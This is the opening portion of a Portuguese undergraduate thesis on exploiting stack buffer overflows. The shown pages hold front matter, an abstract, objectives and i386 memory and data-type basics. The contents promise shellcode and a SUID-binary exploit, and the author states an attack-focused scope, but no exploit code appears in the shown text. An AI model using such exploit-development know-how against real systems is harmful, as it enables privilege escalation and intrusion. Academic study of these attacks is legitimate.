118
UNIVERSIDADE FEDERAL DE SANTA CATARINA Stack overflows: um estudo prático Jeverson Passing Florianópolis – SC 2007/2

UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

Embed Size (px)

Citation preview

Page 1: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

  

UNIVERSIDADE FEDERAL DE SANTA CATARINA 

 

 

 

Stack overflows: um estudo prático 

 

 

 

Jeverson Passing 

 

 

 

Florianópolis – SC 

2007/2 

Page 2: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

  

UNIVERSIDADE FEDERAL DE SANTA CATARINA 

DEPARTAMENTO DE INFORMÁTICA E ESTATÍSTICA 

CURSO DE SISTEMAS DE INFORMAÇÃO 

 

Stack overflows: um estudo prático 

 

Jeverson Passing 

 

Trabalho  de  conclusão  de  curso  apresentado 

como  parte  dos  requisitos  para  obtenção  do 

grau de Bacharel em Sistemas de Informação. 

 

Florianópolis – SC 

2007/2 

Page 3: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

  

Jeverson Passing 

 

Stack overflows: um estudo prático 

 

Trabalho  de  conclusão  de  curso  apresentado 

como  parte  dos  requisitos  para  obtenção  do 

grau de Bacharel em Sistemas de Informação. 

 

Orientador: 

 

Prof. Dr. João Bosco Mangueira Sobral 

 

Banca examinadora: 

 

Eder Contri 

Fernando Augusto da Silva Cruz 

 

Page 4: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

  

ÍNDICE 

 

DEDICATÓRIAS ........................................................................................................  8

AGRADECIMENTOS .................................................................................................  9

LISTA DE FIGURAS ...................................................................................................  10

LISTA DE QUADROS ................................................................................................  22

LISTA DE REDUÇÕES ...............................................................................................  14

RESUMO .................................................................................................................  15

1 INTRODUÇÃO .......................................................................................................  17

  1.2 Objetivos ...............................................................................................  18

    1.2.1 Objetivo geral .........................................................................  18

    1.2.2 Objetivos específicos ..............................................................  18

  1.3 Justificativa ...........................................................................................  19

  1.4 Metodologia ..........................................................................................  19

  1.5 Ambiente de estudo .............................................................................  20

2 ARQUITETURA DA FAMÍLIA INTEL X86 .................................................................  21

  2.1 Evolução histórica da Intel ....................................................................  21

  2.2 Arquitetura do processador 80386 .......................................................  23

    2.2.1 Organização e segmentação da memória ..............................  24

      2.2.1.1 Modelo linear ..........................................................  25

      2.2.1.2 Modelo segmentado ...............................................  25

    2.2.2 Tipos de dados .......................................................................  27

Page 5: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

  

      2.2.2.1 Byte ..........................................................................  27

      2.2.2.2 Word ........................................................................  27

      2.2.2.3 Doubleword .............................................................  28

      2.2.2.4 Inteiro ......................................................................  29

      2.2.2.5 Ordinal .....................................................................  29

      2.2.2.6 Ponteiro próximo .....................................................  30

      2.2.2.7 Ponteiro distante .....................................................  30

      2.2.2.8 String .......................................................................  30

      2.2.2.9 Campo de bits ..........................................................  30

      2.2.2.10 String de bits ..........................................................  31

      2.2.2.11 BCD ........................................................................  31

      2.2.2.12 BCD compactado ...................................................  31

    2.2.3 Registradores .........................................................................  32

      2.2.3.1 Gerais .......................................................................  33

      2.2.3.2 De segmento ...........................................................  34

      2.2.3.3 Implementação da pilha ..........................................  38

      2.2.3.4 Registrador de sinalização .......................................  39

        2.2.3.4.1 Sinalizadores de estado ............................  40

        2.2.3.4.2 Sinalizador de controle .............................  41

      2.2.3.5 Ponteiro de instrução ..............................................  41

3 STACK OVERFLOWS ..............................................................................................  43

  3.1 Organização dos processos na memória ...............................................  43

    3.1.1 Texto ......................................................................................  44

Page 6: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

  

    3.1.2 Dados .....................................................................................  45

    3.1.3 Pilha ........................................................................................  45

      3.1.3.1 Definição ..................................................................  45

      3.1.3.2 Uso ...........................................................................  46

      3.1.3.3 Região ......................................................................  46

      3.1.3.4 Falha teórica ............................................................  51

      3.1.3.5 Explorando ...............................................................  55

4 SHELLCODES .........................................................................................................  66

  4.1 Definição ...............................................................................................  66

  4.2 Syscalls ..................................................................................................  67

  4.3 Shellcode para a syscall “sys_exit” ........................................................  71

  4.4 Shellcode para a syscall “sys_execve” ...................................................  76

  4.5 Shellcode para a syscall “sys_setreuid” .................................................  83

  4.6 Shellcode unindo os três anteriores ......................................................  84

  4.7 Removendo os bytes nulos do shellcode final ......................................  86

5 EXPLORANDO .......................................................................................................  89

  5.1 Falha real em um binário com bit SUID configurado ............................  89

    5.1.1 Descobrindo o endereço de memória do shellcode ...............  94

6 TECNOLOGIAS DE PROTEÇÃO ..............................................................................  99

  6.1 Curingas ................................................................................................  99

    6.1.1 Curingas terminais ..................................................................  99

    6.1.2 Curingas aleatórios .................................................................  100

    6.1.3 Curingas aleatórios codificados ..............................................  101

Page 7: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

  

  6.2 Implementações ...................................................................................  101

7 CONCLUSÃO .........................................................................................................  102

8 SUGESTÕES PARA TRABALHOS FUTUROS ............................................................  104

REFERÊNCIAS BIBLIOGRÁFICAS ...............................................................................  105

APÊNDICES ..............................................................................................................  109

Page 8: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

  

DEDICATÓRIAS 

 

Pedro Passing 

Neusa Maria Passing 

Newerton Passing 

Cristiane Passing 

Fatima Cristina de Souza 

Page 9: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

  

AGRADECIMENTOS 

 

Meus pais, por sempre acreditarem em meu potencial e incentivar‐me. 

Meus irmãos, por serem pacientes comigo perante as adversidades. 

Fatima, por ter caminhado ao meu lado durante quase toda minha graduação. 

Carlos, por sua imensa ajuda nas questões práticas e teóricas. 

Meus amigos, pois minha vida simplesmente não seria completa sem eles. 

Prof. Dr. João Mangueira Sobral, por apoiar o tema deste trabalho e ajudar a moldá‐lo. 

Page 10: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

10  

LISTA DE FIGURAS 

 

Figura 2.1: registradores da arquitetura i386 .........................................................  32

Figura 2.2: registradores e seus segmentos correspondentes ...............................  36

Figura 2.3: representação gráfica de uma pilha .....................................................  39

Figura 2.4: representação gráfica do registrador EFLAGS ......................................  40

Figura 2.5: representação gráfica do registrador EIP .............................................  42

Figura 3.1: as regiões de um processo carregado na memória ..............................  44

Figura 3.2: programa que utiliza uma pilha em baixo nível ....................................  49

Figura 3.3: código produzido na chamada da função “exemplo()” ........................  50

Figura 3.4: prólogo da função “exemplo()” ............................................................  50

Figura 3.5: estado da pilha quando a função “exemplo()” é chamada ...................  51

Figura 3.6: programa com função vulnerável a stack overflow ..............................  52

Figura 3.7: estado da pilha, na chamada da função “exemplo()”, antes da 

“strcpy()” ................................................................................................................ 53

Figura 3.8: estado da pilha após o retorno da função “exemplo()” .......................  54

Figura 3.9: código da figura 3.6 alterado ................................................................  55

Figura 3.10: resultado do “disassemble main” do código compilado da figura 3.9  56

Figura 3.11: modificação para calcular a quantidade de bytes a ser inserida no 

buffer ...................................................................................................................... 59

Figura 3.12: primeira execução do programa modificado ......................................  60

Figura 3.13: segunda execução do programa modificado ......................................  61

Page 11: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

11  

Figura 3.14: PoC da vulnerabilidade exemplificada ................................................  62

Figura 3.15: código impossível de ser explorado através da técnica estudada ......  64

Figura 4.1: programa que utiliza a função “exit()” para encerrar o processo ........  71

Figura 4.2: abertura da syscall “_exit” pelo GDB ....................................................  72

Figura 4.3: instruções necessárias para um “exit(0)” .............................................  72

Figura 4.4: programa idêntico ao exposto na figura 4.1 .........................................  73

Figura 4.5: primeiro passo para a obtenção dos opcodes...........................................  74

Figura 4.6.: segundo passo para a obtenção dos opcodes .....................................  75

Figura 4.7: shellcode para executar a função “exit(0)” ...........................................  76

Figura 4.8: syscall “sys_execve” .............................................................................  77

Figura 4.9: função do kernel responsável por executar um comando ....................  78

Figura 4.10: instruções para executar o comando “/bin//sh” ................................  79

Figura 4.11: shellcode para executar o comando “/bin//sh” ..................................  81

Figura 4.12: saída do programa “objdump” para o programa da figura 4.11 ........  82

Figura 4.13: execução do programa mostrado na figura 4.11 ................................  82

Figura 4.14: código de máquina para executar a função “setreuid(0, 0)” ..............  84

Figura 4.15: opcodes para executar a função “setreuid(0, 0)” ...............................  84

Figura 4.16: shellcode pronto para ser usado (união dos três anteriores) .............  85

Figura 4.17: shellcode final (sem null bytes) ...........................................................  88

Figura 5.1: programa que converte uma string em letras maiúsculas ...................  90

Figura 5.2: compilação e definição do bit SUID do programa mostrado na figura 

5.1 ........................................................................................................................... 90

Figura 5.3: determinando quantos bytes são necessários para sobrescrever o  91

Page 12: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

12  

SEBP e o RET ........................................................................................................... 

Figura 5.4: primeira versão do exploit para o programa da figura 5.1 ...................  93

Figura 5.5: representação gráfica da técnica a ser estudada .................................  95

Figura 5.6: representação gráfica da técnica a ser estudada, agora aprimorada ...  96

Figura 5.7: função para retornar o endereço contido no ESP ................................  97

Figura 5.8: parte da saída produzida pela segunda versão do exploit ....................  97

 

Page 13: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

13  

LISTA DE QUADROS 

 

Quadro 2.1: evolução histórica dos processadores Intel ........................................  22

 

Page 14: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

14  

LISTA DE REDUÇÕES 

 

BCD  Binary‐Coded Decimal 

BIT  Unidade binária 

CPU  Central Processing Unit 

GB  Gigabyte 

IBM  International Business Machines Corporation 

INTEL  Integrated Electronics Corporation 

KB  Kilobyte 

MB  Megabyte 

PC  Personal Computer 

TB  Terabyte 

 

Page 15: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

15  

RESUMO 

 

  Stack  overflows,  assim  como  outros  tipos  de  vulnerabilidades  de  código, 

surgem  através  de  uma  seqüência  de  passos  negativos:  falha  de  projeto  de  uma 

linguagem  de  programação,  falha  humana  na  produção  de  código  e  falha  na 

metodologia de desenvolvimento. Porém, tais acontecimentos não seriam alarmantes 

sem o elemento  responsável por  identificar e explorar uma  falha, dita  “latente” até 

que seja descoberta. 

 

  Um software vulnerável a stack overflow apresenta funcionamento correto em 

condições  normais,  o  que  dificulta  a  detecção  de  problemas.  Em  casos  especiais, 

quando há a procura por uma falha desse tipo no código, possivelmente  identifica‐se 

um ou mais trechos que contêm vulnerabilidade(s) e, assim, encontra‐se uma maneira 

de explorá‐la(s). 

 

A vulnerabilidade em questão é o resultado da tentativa de  inserir mais dados 

em um buffer do que ele pode conter. Desta maneira, o apontador de instruções (EIP) 

pode  ser  sobrescrito com um endereço de memória predefinido, cujo qual apontará 

para  outra  área  de memória  que  contém  um  shellcode,  responsável  por  executar 

algum comando no sistema operacional do programa afetado, a critério do hacker. 

Page 16: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

16  

Se o elemento identifica uma falha e sabe como explorá‐la (controlando o EIP), 

então  ele  possui  total  soberania  no  sistema  afetado,  pois  pode  desviar  o  fluxo  de 

execução da maneira que desejar. Em  cenários  sofisticados de exploração, o hacker 

pode obter controle sobre o sistema e não deixar vestígios sobre a  invasão, uma vez 

que o software afetado continuará seu fluxo de execução comum após o término das 

ações planejadas pelo elemento. 

 

  Sendo  assim,  neste  trabalho  desenvolveu‐se  pequenos  códigos  capazes  de 

ilustrar o  impacto de um problema que possui origem conhecida no  início da década 

de 70, porém somente explorado pela primeira vez no  final da década de 80, sendo 

que as falhas cresceram exponencialmente ao longo dos anos e perduram até os dias 

atuais. 

 

Palavras‐chaves: stack, buffer, overflow, shellcode e hacker. 

Page 17: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

17  

1 INTRODUÇÃO 

 

Atualmente, muitos  softwares1 seguem  padrões  de  desenvolvimento  aptos  a 

eliminarem problemas nos mesmos. Embora as técnicas sejam aprimoradas ao  longo 

do  tempo,  falhas  sempre  existirão.  Não  existem  métodos  totalmente  capazes  de 

assegurar o contrário. 

 

É  neste  ponto  que  um  hacker2 age.  Stack  overflows,  heap  overflows,  integer 

overflows e format strings são, na maioria dos casos, os tipos de vulnerabilidades de 

código mais visados, pois o impacto normalmente é global, afetando desde pequenas 

empresas até organizações de grande porte. 

 

  Neste trabalho, então, será apresentado todo o contexto que envolve o tipo de 

vulnerabilidade  de  código  mais  difundido  no  mundo,  o  stack  overflow.  Além  da 

identificação de códigos vulneráveis, um estudo detalhado de como é possível explorá‐

los (através do desenvolvimento de exploits3) será realizado. Embora não seja o foco, 

algumas  tecnologias  de  proteção  serão  brevemente  explicadas,  uma  vez  que,  sem 

sombra de dúvida, fazem parte do escopo. 

                                                            1 Software  ou  programa  de  computador  é  uma  seqüência  de  instruções  a  serem  seguidas  e/ou  executadas,  na manipulação, redirecionamento ou modificação de um dado/informação ou acontecimento. (Wikipédia, 2007);  2 Originalmente, e para  certos programadores,  são hackers  (singular: hacker)  indivíduos que elaboram e modificam  software e hardware de computadores, seja desenvolvendo funcionalidades novas, seja adaptando as antigas. (Wikipédia, 2007);  3 Um exploit, em segurança da informação, é um programa de computador, uma porção de dados ou uma seqüência de comandos que se aproveita das vulnerabilidades de um sistema computacional – como o próprio sistema operativo ou serviços de interação de protocolos (ex: servidores web). (Wikipédia, 2007). 

Page 18: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

18  

1.2 Objetivos 

 

1.2.1 Objetivo geral 

 

Propor um guia definitivo para o estudo sobre stack overflows, apresentando 

detalhadamente trechos de código vulneráveis e exploits para os mesmos, assim como 

uma breve descrição de tecnologias para a contenção de ataques. 

 

1.2.2 Objetivos específicos 

 

• Estudar a organização de processos na memória da arquitetura Intel x86; 

• Identificar trechos de código sujeitos à stack overflows; 

• Explorar algumas falhas através da construção de exploits. 

 

1.3 Justificativa 

 

Embora  outros  tipos  de  vulnerabilidades  sejam  graves  e  amplamente 

disseminados,  os  stack  overflows  merecem  destaque  pela  grande  incidência  em 

Page 19: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

19  

códigos  de  softwares  renomados  utilizados  em  servidores  de  todo  o mundo,  o  que 

torna o assunto particularmente interessante. 

 

Sendo  assim,  analisando  o  tema  através  de  uma  visão  benevolente,  fica 

evidente que é preciso estudar os fatores causadores desse tipo de falha para não ser 

vítima da mesma. 

 

Por outro lado, a parte prática (leia‐se “uma visão não tão benevolente”) – após 

um cuidadoso estudo da teoria – é apresentada e explicitamente detalhada, ou seja, o 

escopo do trabalho é para o ataque em si, não para a defesa. 

 

1.4 Metodologia 

 

  O trabalho está dividido em uma ordem  lógica: primeiramente apresenta‐se a 

arquitetura Intel x86 (utilizada neste trabalho), onde a informação mais importante é a 

organização de processos na memória, pois é neste ponto que o ataque será realizado. 

Depois,  são  expostos  alguns  códigos  vulneráveis  escritos  na  linguagem  de 

programação  C,  explicando  onde  está  o  problema  e  como  o  mesmo  poderia  ser 

evitado. Na próxima etapa, demonstra‐se a criação de pequenos softwares capazes de 

explorar  as  vulnerabilidades  encontradas  na  seção  anterior,  explicando  e 

Page 20: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

20  

exemplificando  o  impacto  que  os  mesmos  podem  causar.  Finalmente,  termina‐se 

mostrando tecnologias utilizadas para a proteção contra o tipo de falha estudado. 

 

1.5 Ambiente de estudo 

 

A  criação  deste  trabalho  exigiu  conhecimentos  avançados  na  linguagem  de 

programação  C  e  intermediários  em  Assembly.  A  plataforma  de  desenvolvimento 

utilizada é o sistema operacional Linux Slackware 11 e as versões do compilador4 (GCC) 

e do depurador5 (GDB) são as que estão contidas originalmente na distribuição citada, 

ou seja, 3.4.6 e 6.5, respectivamente. 

                                                            4 Um  compilador  é  um  programa  que,  a  partir  de  um  código  escrito  em  uma  linguagem,  o  código  fonte,  cria  um  programa semanticamente equivalente, porém escrito em outra linguagem, o código objeto. (Wikipédia, 2007); 

5 Um depurador, ou debugger, é um programa de computador que é usado para testar outros programas e fazer sua depuração; isto é: eliminar seus problemas ou bugs. (Wikipédia, 2007). 

Page 21: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

21  

2 ARQUITETURA DA FAMÍLIA INTEL X86 

 

  O  crescimento  exponencial  da  capacidade  de  processamento  e  do  uso  de 

computadores pessoais  tornou o  computador uma das  forças mais  importantes que 

moldaram  os  negócios  e  a  sociedade  na  segunda  metade  do  século  vinte.  É 

perfeitamente  esperado  que  os  computadores  continuem  a  desempenhar  papéis 

importantes no crescimento da tecnologia, negócios e até mesmo em outras áreas. 

 

  A arquitetura Intel x86 manteve‐se na vanguarda da revolução computacional e 

ainda  é  a mais  utilizada  em  todo  o mundo.  O  aparente  sucesso  da  arquitetura  é 

justificado através de dois aspectos cruciais: 

 

• Compatibilidade retrógrada de software; 

• Cada geração de processadores tem desempenho significantemente maior. 

 

2.1 Evolução histórica da Intel 

 

  O  marco  da  história  evolutiva  dos  processadores  Intel  é  a  concepção  do 

processador 8086, pois é o primeiro da  família  x86 – a base da grande maioria dos 

computadores modernos.  O  quadro  2.1  ilustra  a  evolução  histórica  da  Intel  até  o 

Page 22: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

22  

momento  em  que  o  primeiro  processador  32  bits  foi  criado,  uma  vez  que  será  a 

arquitetura‐alvo deste trabalho. 

 

Ano / Modelo  Detalhes 

1971 / 4004  Primeiro processador da Intel. Possuía barramento de 4 bits e 

640  bytes  de memória  endereçável. Utilizado  em máquinas 

de calcular. 

1972 / 8008  Primeiro processador a manipular dados e caracteres. Possuía 

barramento  de  8  bits  e  16  KB  de  memória  endereçável. 

Utilizado em  terminais  “burros”, em máquinas de  calcular e 

de engarrafar. 

1974 / 8080  Primeiro  processador  para  computador  pessoal.  Possuía 

barramento  de  8  bits  e  64  KB  de  memória  endereçável. 

Utilizado, também, em sinaleiras de trânsito. 

1976 / 8085  Primeiro  processador  a  trabalhar  a  5  volts  (os  anteriores 

operavam  a  12).  Possuía  barramento  de  8  bits  e  64  KB  de 

memória endereçável. 

1978 / 8086  Primeiro processador da  família x86. Possuía barramento de 

16 bits e 1 MB de memória endereçável. 

1979 / 8088  Primeiro  processador  a  atingir  um  grande  sucesso.  Isto  foi 

possível por ter sido escolhido pela IBM como o processador 

de seu computador XT. Possuía barramento de 16 bits e 1 MB 

Page 23: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

23  

de memória endereçável. 

1982 / 80286  Possuía  barramento  de  16  bits  e  16  MB  de  memória 

endereçável. 

1985 / 80386  Primeiro  processador  a  ser  chamado  de  CPU.  Possuía 

barramento de 32 bits e 4 GB de memória endereçável. 

Quadro 2.1: evolução histórica dos processadores Intel. 

 

Embora a computação de 64 bits (chamada, também, de “arquitetura IA‐64” – a 

evolução da  x86)  já esteja presente em  computadores  atuais,  a  grande maioria dos 

computadores pessoais  ainda  é baseada na  arquitetura  x86.  Este  trabalho  é  focado 

justamente  neste  nicho,  uma  vez  que  foge  do  escopo  do  mesmo  abordar  outras 

arquiteturas. 

 

  Vale  ressaltar  que  os  processadores  seguintes  ao  modelo  8086,  mesmo 

possuindo outros nomes e  ligeiras diferenças na arquitetura, também são  inclusos na 

família x86, uma vez que há toda a questão de compatibilidade (nomes e tamanhos de 

instruções, por exemplo) envolvida. 

 

2.2 Arquitetura do processador 80386 

 

Page 24: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

24  

  Também  chamada  de  “IA‐32”  ou,  simplesmente,  “i386”,  é  a  arquitetura  de 

processadores produzida pela  Intel com maior sucesso comercial, a qual perdura até 

hoje.  Isto  se  dá  pelo  fato  da  mesma  ser  uma  extensão  em  32  bits  da  famosa 

arquitetura introduzida pelo processador 8086 – a “IA‐16” –, além, claro, de possuir a 

maior compatibilidade retrógrada de software. 

 

  Este  capítulo  introduz  a  arquitetura  i386,  necessária  para  a  posterior 

compreensão do que ocorre quando há um stack overflow e, seguidamente, de como 

executar  código  arbitrário em  tal  condição, uma  vez que  a  criação de um  shellcode 

depende diretamente disso. 

 

2.2.1 Organização e segmentação da memória 

 

  A memória  física  de  um  sistema  i386  é  organizada  como  uma  seqüência  de 

bytes. Cada  byte  possui  um  endereço  único  que  varia  de  0  a  4 GB. No  entanto,  os 

programas escritos para tal arquitetura são independentes da área física de endereços. 

Isto  significa  que  os  programas  podem  ser  escritos  sem o  conhecimento  de  quanta 

memória  física  está  disponível  nem  exatamente  onde,  na memória  física,  estão  as 

instruções e os dados a serem utilizados. 

 

Page 25: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

25  

  A  arquitetura em questão dá  aos programadores  a possibilidade de escolher 

um modelo  de  organização  da memória  para  cada  tarefa  específica.  O modelo  de 

organização da memória deve estar entre os seguintes extremos: 

 

• Uma área linear de endereços que consiste de um único array com até 4 GB de 

tamanho; 

• Uma  área  segmentada  de  endereços  que  consiste  em  uma  coleção  de  até 

16.383 subáreas lineares. 

 

Ambos os modelos podem oferecer proteção de memória e diferentes tarefas 

podem empregar diferentes modelos de organização.  

 

2.2.1.1 Modelo linear 

 

  Em um modelo linear de organização da memória, o programador vê somente 

um array com tamanho igual a 4 GB. Embora a memória física possa conter até 4 GB, 

normalmente ela é muito menor. O ponteiro para este modelo é um número ordinal 

de 32 bits variando de 0 a 4 GB. 

 

2.2.1.2 Modelo segmentado 

Page 26: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

26  

  Em  um modelo  segmentado  de  organização  da memória,  o  endereçamento 

disponível – chamado de “área lógica de endereços” – é muito maior que o linear: 64 

TB. O processador mapeia os 64 TB disponíveis na área física de endereços através de 

mecanismos de tradução de endereços. É um processo transparente, ou seja, não há 

necessidade de se preocupar com tal mapeamento. 

 

  O programador vê a área lógica de endereços como uma coleção de até 16.383 

subáreas  lineares, cada uma com um tamanho específico. Cada subárea  linear recebe 

o nome de  “segmento”. Cada  segmento é uma unidade de uma  área de endereços 

contínua. O tamanho de um segmento pode variar de 1 byte até 4 GB. 

 

  Um ponteiro completo nesta área de endereços consiste de duas partes: 

 

• Um  seletor  de  segmento,  o  qual  é  um  campo  de  16  bits  que  identifica  um 

segmento em particular; 

• Um offset6, o qual é um número ordinal de 32 bits que endereça o byte inicial 

contido no segmento. 

 

Durante  a  execução  de  um  programa,  o  processador  associa  o  seletor  de 

segmento  com  o  endereço  físico  inicial  do  mesmo.  Separadamente,  módulos 

                                                            6 Deslocamento. 

Page 27: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

27  

compilados podem ser realocados em runtime7 através da troca do endereço‐base de 

seus segmentos. O tamanho de um segmento é variável, então um segmento pode ter 

o mesmo tamanho do módulo no qual está contido. 

 

2.2.2 Tipos de dados 

   

Bytes,  words  e  doublewords  são  os  tipos  de  dados  fundamentais. 

Posteriormente  à  suas  definições,  apresentam‐se  os  tipos  derivados,  ou  seja, 

diferentes  interpretações  de  tipos  possíveis  perante  a  combinação  dos  tipos 

fundamentais. 

 

2.2.2.1 Byte 

 

Um byte é composto por 8 bits contínuos dentro de qualquer endereço lógico. 

Os bits são numerados de 0 a 7, sendo, o primeiro, o bit menos significativo. 

 

2.2.2.2 Word 

                                                            7 Em informática, tempo de execução ou runtime (termo em inglês), é o período em que um programa de computador permanece em execução. O termo "tempo de execução" é um contraponto ao termo tempo de compilação, que é uma referência ao período em que o código é compilado para gerar um programa executável. (Wikipédia, 2007). 

Page 28: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

28  

  Um  word  é  composto  por  2  bytes  contínuos  dentro  de  qualquer  endereço 

lógico. Sendo assim, um word possui 16 bits. Os bits são numerados de 0 a 15, sendo, o 

primeiro, o bit menos  significativo. O byte que  contém o bit 0 é  chamado de  “byte 

inferior”. Já o byte que contém o bit 15 é chamado de “byte superior”. 

 

  Cada byte dentro de um word tem seu próprio endereço, sendo, o menor deles, 

o próprio endereço do word. Desta maneira, o byte no endereço mais baixo possui os 8 

bits menos  significativos, enquanto o byte no endereço mais  acima possui os 8 bits 

mais significativos. 

 

2.2.2.3 Doubleword 

 

  Um  doubleword  é  composto  por  2  words  contínuos  dentro  de  qualquer 

endereço  lógico. Sendo assim, um doubleword possui 32 bits. Os bits são numerados 

de 0 a 31, sendo, o primeiro, o bit menos significativo. O word que contém o bit 0 é 

chamado  de  “word  inferior”.  Já  o word  que  contém  o  bit  31  é  chamado  de  “word 

superior”. 

 

  Cada  byte  dentro  de  um  doubleword  tem  seu  próprio  endereço,  sendo,  o 

menor deles, o próprio endereço do doubleword. Desta maneira, o byte no endereço 

Page 29: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

29  

mais baixo possui os 8 bits menos  significativos, enquanto o byte no endereço mais 

acima possui os 8 bits mais significativos. 

 

2.2.2.4 Inteiro 

 

  Um valor numérico binário e  sinalizado contido em um doubleword, word ou 

byte.  Todas  as  operações  assumem  que  o  valor  está  representado  através  do 

complemento de dois. O bit de sinalização é o bit 7 em um byte, 15 em um word e 31 

em um doubleword. Ele tem o valor 0 para inteiros positivos e 1 para negativos. Já que 

o bit mais significativo é usado na sinalização, a faixa de um inteiro de 8 bits é de ‐128 

a +127; inteiros de 16 bits podem variar de ‐32.768 a +32.767; por último, inteiros de 

32 bits podem variar de ‐2147483648 a + 2147483647. 

 

2.2.2.5 Ordinal 

 

  Um valor número binário não sinalizado contido em um doubleword, word ou 

byte. Todos os bits  são  considerados quando  se determina a magnitude do  valor. A 

faixa de um ordinal de 8 bits é de 0 a 255; ordinais de 16 bits podem variar de 0 a 

65535; por último, ordinais de 32 bits podem variar de 0 a 4294967295. 

 

Page 30: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

30  

2.2.2.6 Ponteiro próximo 

 

  Um  endereço  lógico  de  32  bits.  Ponteiros  próximos  são  offsets  contidos  em 

segmentos. São usados em ambos os modelos de organização da memória  (linear e 

segmentado). 

 

2.2.2.7 Ponteiro distante 

 

  Um endereço lógico de 48 bits composto por dois componentes: um seletor de 

segmento  de  16  bits  e  um  offset  de  32.  Ponteiros  distantes  são  usados  apenas  em 

modelos segmentados de memória. 

 

2.2.2.8 String 

 

  Uma seqüência contínua de bytes, words ou doublewords. Seu  tamanho varia 

de 0 a 4 GB. 

 

2.2.2.9 Campo de bits 

Page 31: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

31  

  Uma seqüência contínua de bits. Um campo de bits pode  iniciar em qualquer 

